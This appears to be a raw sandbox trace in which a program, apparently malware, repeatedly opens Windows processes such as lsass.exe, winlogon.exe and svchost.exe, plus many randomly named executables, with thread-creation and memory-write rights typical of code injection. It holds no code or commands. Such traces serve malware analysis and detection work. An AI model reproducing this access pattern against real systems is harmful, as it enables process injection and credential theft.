Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\iexplore.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wininit.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\csrss.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\winlogon.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\services.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsass.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\lsm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskeng.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\wbem\wmiprvse.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\sppsvc.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dwm.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\shirts_cumshots_compaq.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft office\league.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\js_sound.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows media player\beast-dry.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\microsoft synchronization services\forecastsgeographic.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows portable devices\reno.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows journal\specreformwear.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows photo viewer\rr_publications.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows mail\solo.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\uninstall information\beam.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\adobe\configurations.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows sidebar\fact-film-anticipated.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\wanting villages.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\windows defender\engagementresearchersmonkey.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files\internet explorer\surgical-marcus.exe desired_access = PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION True 1
Fn
